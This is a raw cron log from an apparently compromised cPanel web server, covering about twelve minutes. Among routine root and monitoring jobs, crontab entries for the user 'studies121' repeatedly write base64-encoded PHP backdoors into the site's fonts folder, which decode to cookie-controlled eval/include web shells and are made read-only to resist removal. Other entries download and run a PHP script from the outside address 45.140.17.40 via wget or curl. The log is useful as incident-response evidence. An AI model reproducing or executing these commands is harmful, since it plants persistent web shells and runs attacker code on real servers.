Sep 20 15:33:01 ip-184-168-122-23 CROND[15835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:33:01 ip-184-168-122-23 CROND[15840]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:34:01 ip-184-168-122-23 CROND[16087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:34:01 ip-184-168-122-23 CROND[16088]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:34:01 ip-184-168-122-23 CROND[16089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:34:01 ip-184-168-122-23 CROND[16092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:34:01 ip-184-168-122-23 CROND[16090]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 15:35:01 ip-184-168-122-23 CROND[16333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:35:01 ip-184-168-122-23 CROND[16339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:35:01 ip-184-168-122-23 CROND[16340]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 15:35:01 ip-184-168-122-23 CROND[16344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:35:01 ip-184-168-122-23 CROND[16345]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 20 15:35:01 ip-184-168-122-23 CROND[16348]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 15:35:01 ip-184-168-122-23 CROND[16346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:35:01 ip-184-168-122-23 CROND[16347]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 15:36:01 ip-184-168-122-23 CROND[16663]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:36:01 ip-184-168-122-23 CROND[16665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:36:01 ip-184-168-122-23 CROND[16667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:36:01 ip-184-168-122-23 CROND[16666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:36:01 ip-184-168-122-23 CROND[16664]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 15:37:01 ip-184-168-122-23 CROND[17009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:37:01 ip-184-168-122-23 CROND[17011]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:37:01 ip-184-168-122-23 CROND[17010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:37:01 ip-184-168-122-23 CROND[17016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:38:01 ip-184-168-122-23 CROND[17320]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:38:01 ip-184-168-122-23 CROND[17323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:38:01 ip-184-168-122-23 CROND[17322]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 15:38:01 ip-184-168-122-23 CROND[17325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:38:01 ip-184-168-122-23 CROND[17324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:39:01 ip-184-168-122-23 CROND[17606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:39:01 ip-184-168-122-23 CROND[17609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:39:01 ip-184-168-122-23 CROND[17608]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 15:39:01 ip-184-168-122-23 CROND[17611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:39:01 ip-184-168-122-23 CROND[17614]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:40:01 ip-184-168-122-23 CROND[17908]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 15:40:01 ip-184-168-122-23 CROND[17909]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 15:40:01 ip-184-168-122-23 CROND[17910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:40:01 ip-184-168-122-23 CROND[17918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:40:01 ip-184-168-122-23 CROND[17917]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:40:01 ip-184-168-122-23 CROND[17921]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 15:40:01 ip-184-168-122-23 CROND[17920]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 15:40:01 ip-184-168-122-23 CROND[17922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:41:01 ip-184-168-122-23 CROND[18196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:41:01 ip-184-168-122-23 CROND[18195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:41:01 ip-184-168-122-23 CROND[18197]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:41:01 ip-184-168-122-23 CROND[18198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:42:01 ip-184-168-122-23 CROND[18488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:42:01 ip-184-168-122-23 CROND[18492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:42:01 ip-184-168-122-23 CROND[18491]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:42:01 ip-184-168-122-23 CROND[18494]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 15:42:01 ip-184-168-122-23 CROND[18495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:43:01 ip-184-168-122-23 CROND[18830]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:43:01 ip-184-168-122-23 CROND[18831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:43:01 ip-184-168-122-23 CROND[18833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:43:01 ip-184-168-122-23 CROND[18834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:44:01 ip-184-168-122-23 CROND[19119]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 15:44:01 ip-184-168-122-23 CROND[19120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:44:01 ip-184-168-122-23 CROND[19124]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:44:01 ip-184-168-122-23 CROND[19127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:44:01 ip-184-168-122-23 CROND[19128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:45:01 ip-184-168-122-23 CROND[19454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:45:01 ip-184-168-122-23 CROND[19456]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 15:45:01 ip-184-168-122-23 CROND[19457]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 15:45:01 ip-184-168-122-23 CROND[19458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:45:01 ip-184-168-122-23 CROND[19459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
